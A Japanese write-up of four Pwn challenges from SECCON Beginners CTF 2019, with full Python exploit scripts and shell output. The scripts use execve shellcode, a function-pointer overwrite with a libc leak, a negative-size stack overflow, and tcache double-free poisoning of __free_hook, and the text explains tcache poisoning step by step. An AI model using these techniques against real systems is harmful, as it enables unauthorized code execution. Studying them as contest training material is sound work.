5月25日(土)15:00から24時間開催されたSECCON Beginners CTF 2019にzer0pts
のメンバーで参加しました。
大会の存在をすっかり忘れていたので途中から参加しましたが、担当分野は無事全部解くことができました。
初心者向けながら典型とは外れたものもあり、勉強になる問題が多いと思います。
解いた問題はPwnだけです。というか参加した頃には半分以上解かれていて、チームメンバーがPwnだけ残してくれてた。感謝。
オンラインのSECCON Beginnersに参加できるのは今回が最初で最後になりそうなので、良い成績を収められてよかったです。 説明が下手なので分からないところがあればTwitterとかで聞いてください。
Exploitコードに使っているライブラリはここからcloneできます。(Python 3用です。)
[warmup] shellcoder
IDAで開くとなんとなく"b", "i", "n", "s", "h"が含まれているかをチェックしているっぽかったので、それ以外の文字を使ったシェルコードを送れば良さそうです。 shellstormとかに上がっているシェルコードは標準でNOTを取った"/bin/sh"を持っているのでそのまま使えます。
from ptrlib import * shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" sock = Socket("153.120.129.186", 20000) sock.sendline(shellcode) sock.interactive()
XORを使うのが想定解っぽいですが、色々解き方はあると思います。
$ python solve.py [+] Socket: Successfully connected to 153.120.129.186:20000 [ptrlib]$ Are you shellcoder? ls flag.txt shellcoder [ptrlib]$ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
OneLine
IDAで読むと、スタックオーバーフローがある上、スタック上にwriteの関数ポインタを置いています。 この関数ポインタは後で呼ばれるので、これを書き換えれば良さそうです。 このポインタは2回呼ばれ、0x28バイト出力するため、たくさん書き込まない限り1回目でwriteのポインタをリークできます。 2回目でsystem関数を呼びたいところですが、第一引数が1で"/bin/sh"を渡せないためone gadgetを使いました。
from ptrlib import * libc = ELF("./libc-2.27.so") elf = ELF("./oneline") #sock = Process("./oneline") sock = Socket("153.120.129.186", 10000) sock.recvuntil(">> ") sock.sendline("") addr_write = u64(sock.recv(0x28)[-8:]) libc_base = addr_write - libc.symbol("write") dump("libc base = " + hex(libc_base)) one_gadget = libc_base + 0x10a38c sock.recvuntil(">> ") payload = p64(one_gadget) * 5 sock.send(payload) sock.interactive()
$ python solve.py [+] Socket: Successfully connected to 153.120.129.186:10000 [ptrlib] libc base = 0x7f3c0a14e000 [ptrlib]$ ls flag.txt oneline [ptrlib]$ cat flag.txt [ptrlib]$ ctf4b{0v3rwr!t3_Func7!on_p0int3r}
memo
IDAで解析すると、入力サイズを受け付けて、そのサイズに応じてスタックポインタをいじってそこにデータを書き込めるようです。
適当にサイズを変えていくと、負の数を入れたときにSegmentation Faultしたので、まぁそういうことでしょう。
さらに細かく調整すると、-96あたりで上手いことリターンアドレスが書き換わりました。
IDAで見るとhiddenという名前の関数があり、中でsystem("sh")
を呼んでいます。
したがって、この関数に飛ばせば良いのですが、直接呼んでしまうとrbpが腐っているのでsystem関数内で落ちます。
そのため、最初のpush rbp; mov rbp, rsp;
の部分をスキップして呼びましょう。
from ptrlib import * elf = ELF("./memo") #sock = Process("./memo") sock = Socket("133.242.68.223", 35285) rop_pop_rdi = 0x00400843 plt_system = 0x400590 payload = b'' payload += p64(0xffffffffffffffdd) payload += p64(0x4007c1) sock.sendline("-96") sock.sendline(payload) sock.interactive()
$ python solve.py [+] Socket: Successfully connected to 133.242.68.223:35285 [ptrlib]$ Input size : Input Content : Your Content : 1íIÑ^HâHäðPTIÇÀ@ ls flag.txt memo [ptrlib]$ cat flag.txt ctf4b{h4ckn3y3d_574ck_b0f} [ptrlib]$
BabyHeap
ヒープ系問題です。
Alloc, Delete, Wipeというのが選べます。
Allocするとローカル変数ptrにmallocしたポインタを入れ、Deleteするとそれをfreeします。
AllocはptrがNULLのときのみmallocでき、WipeするとptrにNULLが代入されます。
したがって、シンプルなdouble freeがあります。
libcのバージョンは2.27なのでtcacheが有効なので、何も気にすることなく__free_hook
を書き換えられます。
サイズが固定でlibcアドレスがリークできないからヒープのアドレスからリークするのかなーとか思って見てみるとShow系の機能が無かったので何かおかしいなぁ、と思ってバイナリを起動するとstdinのアドレスがプレゼントされていました。
ということで、単にtcache poisoningで__free_hook
をone gadgetに変更すれば良さそうです。(RELROが有効なので。)
Beginners CTFということで読む人もヒープ初心者が多いと思うので、一応TCache Poisoningに関しては軽く解説しておきます。 libcではmallocされた小さい領域をfreeすると、そのアドレスをtcacheと呼ばれる領域に繋げます。 libc-2.26まではfastbinという領域に繋いでいたのですが、libc-2.26以降は似たようなtcacheという場所にまずは繋がるようになりました。 tcacheはfastbinと違い、スレッドごとの管理、7個までしか入らないなどの特徴があります。 そしてセキュリティ面での一番大きな違いは、fastbinと違ってdouble freeがしやすくなったという点です。 fastbinにはdouble free検知やサイズチェックが付いているのですが、libc-2.29まではtcacheにこれがありません。
さて、double freeは名前の通り2回freeするという意味ですが、どのようにして利用するのでしょうか。
今A = malloc(0x30); B = malloc(0x30);
したとします。
Aを一回freeすると(サイズ0x28〜0x38用の)tcacheに次のように繋がります。
tcache --> A --> NULL
もともとtcacheは空だったので、Aの先頭8バイトにはNULLが書き込まれます。次にBをfreeすると次のようになります。
tcache --> B --> A --> NULL
tcacheにはAが繋がっていたので、Bの先頭8バイトにはAのアドレスが書き込まれます。 さらにAをfreeすると、double freeが発生して次のような状態になります。
tcache --> A --> B --> A --> B --> A --> ...
tcacheにはBが繋がっていたので、Aの先頭8バイトにはBのアドレスが書き込まれます。
一方Bの先頭にはAのアドレスが書き込まれているのでBはAに繋がっており、以降無限に続くリンクができるわけです。
さて、ここでC = malloc(0x30);
すると次のようになります。
tcache --> B --> A --> B --> A --> ... C = A
tcacheの先頭から使える領域が取り出されます。
ここでCに攻撃者がデータを書き込めるとき、例えばatoi@got
のアドレスを書き込むとtcacheは次のようになります。
tcache --> B --> A --> atoi@got --> ?
C=A
なのでCの先頭にアドレスを書き込むということは、Aのリンク先を変更することと同じになります。
さらにD = malloc(0x30); E = malloc(0x30);
とすると次のようになります。
tcache --> atoi@got --> ? D = B E = A
もう一度mallocするとGOTのアドレスが返るため、GOT overwriteできることが分かるでしょう。
あとはatoiのアドレスをsystemに書き換えて、選択画面で/bin/sh
と入力すればsystem("/bin/sh")
が実行される、というのがよくあるパターンです。
さて、今回は使えるポインタは1つで、かつRELROが有効になっています。 前者は簡単に解決でき、先程述べたようにtcacheにはdouble freeチェックがないので同じアドレスを2回連続freeしても怒られません。(fastbinだとさっきの例のように、間に別のBを挟むことで回避できる。) ということで、次のようにすれば任意のアドレスが最後のmallocで返ってきます。
ptr = malloc(0x30); free(ptr); free(ptr); ptr = malloc(0x30); read(0, ptr, 8); // ptrチャンクの先頭に好きなアドレスを書き込む ptr = malloc(0x30); ptr = malloc(0x30); // 好きなアドレス
さて、2つ目の問題はRELROが有効という点です。
RELROが有効だとGOTが書き換えられないのですが、malloc/freeには__malloc_hook
, __free_hook
という便利な変数が存在します。
これは名前の通り、それぞれmalloc, freeするときに呼ばれるフック関数のアドレスを入れておける変数です。
したがって、この中にone gadgetのアドレスを入れておけば、例えばfreeした瞬間にシェルが取れるようになります。
ここまでの攻撃を実装しましょう。
from ptrlib import * def alloc(data): sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Content: ") sock.sendline(data) def delete(): sock.recvuntil("> ") sock.sendline("2") def wipe(): sock.recvuntil("> ") sock.sendline("3") elf = ELF("./babyheap") libc = ELF("./libc-2.27.so") #sock = Process("./babyheap") sock = Socket("133.242.68.223", 58396) one_gadget = 0x4f322 sock.recvuntil(">>>>> ") addr_stdin = int(sock.recvuntil(" "), 16) libc_base = addr_stdin - libc.symbol("_IO_2_1_stdin_") dump("libc base = " + hex(libc_base)) # tcache poisoning alloc("Hello") delete() delete() wipe() payload = p64(libc_base + libc.symbol("__free_hook")) alloc(payload) wipe() alloc("Hello") wipe() alloc(p64(libc_base + one_gadget)) # get the shell delete() sock.interactive()
久しぶりに丁寧なwriteupを書いた気がする。
$ python solve.py [+] Socket: Successfully connected to 133.242.68.223:58396 [ptrlib] libc base = 0x7f5fc472b000 [ptrlib]$ ls babyheap flag.txt [ptrlib]$ cat flag.txt ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017} [ptrlib]$
ちゃんとbabyなheapだったので大変良い。